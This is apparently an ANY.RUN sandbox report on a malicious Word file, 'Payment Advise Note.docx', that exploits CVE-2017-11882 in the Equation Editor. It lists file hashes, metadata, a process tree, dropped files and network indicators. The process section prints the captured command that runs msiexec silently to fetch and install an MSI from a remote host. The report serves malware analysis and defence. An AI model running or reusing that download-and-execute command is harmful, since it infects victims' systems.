analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Payment Advise Note.docx

Full analysis: https://app.any.run/tasks/b71f7029-e939-4a1b-a185-f8e5e1d4c2da
Verdict: Malicious activity
Analysis date: November 08, 2018, 11:55:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
exploit
CVE-2017-11882
exe-to-msi
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

AFCAA599EF4B3B554006A44EF45977B3

SHA1:

1AA0B84B46C020CB7E5EF808AE9C277C89BE865B

SHA256:

1AA0895ABAD61C8313CE3363FAA55EA2E604E81056ADC8893E88B1B9873779E7

SSDEEP:

3072:z7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKdkRn:z7lCAdFkYhDFBxvqyRmTMSFmfSl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3384)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2432)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2432)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3308)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3308)

  • INFO

    • Application was crashed

      • EQNEDT32.EXE (PID: 2432)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 772)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 772)

    • Application was dropped or rewritten from another process

      • MSID61B.tmp (PID: 1908)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3308)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3308)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

XMP

Description: -
Creator: Windows User
Subject: -
Title: -

XML

ModifyDate: 2018:11:06 22:58:00Z
CreateDate: 2018:11:06 22:58:00Z
RevisionNumber: 2
LastModifiedBy: Richard
Keywords: -
AppVersion: 15
HyperlinksChanged: No
SharedDoc: No
CharactersWithSpaces: 1
LinksUpToDate: No
Company: -
TitlesOfParts: -
HeadingPairs:
  • Title
  • 1
ScaleCrop: No
Paragraphs: 1
Lines: 1
DocSecurity: None
Application: Microsoft Office Word
Characters: 1
Words: -
Pages: 1
TotalEditTime: -
Template: template.dotx

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1364
ZipCompressedSize: 351
ZipCRC: 0x2ea8411c
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
7
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs msid61b.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
772"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Payment Advise Note.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2432"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3384cmd.exe & /C CD C: & msiexec.exe /i https://a.doko.moe/ngcmmb.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3492msiexec.exe /i https://a.doko.moe/ngcmmb.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3308C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2896"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
1908"C:\Windows\Installer\MSID61B.tmp"C:\Windows\Installer\MSID61B.tmp—msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 443
Read events
962
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
27
Text files
15
Unknown types
5

Dropped files

PID
Process
Filename
Type
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9508.tmp.cvr —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{215C3927-2A6E-4882-873A-86B5FC298D56} —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{89DD125D-C29F-450F-8DA0-AF4B4275DD65} —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$yment Advise Note.docxpgc
MD5:D4531493652C0EDDADDB69E9B8D8A259
SHA256:8C32268FFC3F9C28B71940E81F99151252D14607F6A56339D0C4BFFFC52A5D90
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:968A98D731519BCA9E65EB58FAFA9C33
SHA256:2B82A51C193B402DA7252F5684115F974FE14E9F279F012BC9693057F4F2F8FD
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSFbinary
MD5:88A3C8877229CC3A98D7CCB4262A09A9
SHA256:3B55B96CEE26A0CD242695015D0CB70C5FCAA778B56911F1E28A704D67EC613F
772WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70binary
MD5:DA6C793FB0533AF0139A6D76C9956547
SHA256:BCEC4BFFD8EE03E0FDF1C1577EF4635AC08DB1F94CF07B0C406A6B3A171E9E1D
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:0BFE15A065FEB9F8EE22FD6C6A90FEE2
SHA256:E07966D8338E58670A4D7DF0CB1FFE6BA5D3AA8504E73AFBB4CBBC8A3201A730
772WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:59131AE46194C72AAA2801E1AD2642A0
SHA256:32C5BFAA5D065DD7FD36D9AD6A40361A8160F42BB4F98F164D4D8BCB0E92CEE3
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{54470F5F-38B4-497F-ADF5-81CAADFC4BB0}.FSDbinary
MD5:7830A519D5E2130ED050FC422A8C447A
SHA256:544843876D53012A44AC43DBB8D1EF3CAFAC5BEEC9769C41D77B00794093EEB5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
772
WINWORD.EXE
185.83.214.16:443
a.doko.moe
—
PT
suspicious
3308
msiexec.exe
185.83.214.16:443
a.doko.moe
—
PT
suspicious
980
svchost.exe
185.83.214.16:443
a.doko.moe
—
PT
suspicious

DNS requests

Domain
IP
Reputation
a.doko.moe
  • 185.83.214.16
unknown

Threats

Found threats are available for the paid subscriptions
7 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Payment Advise Note.docx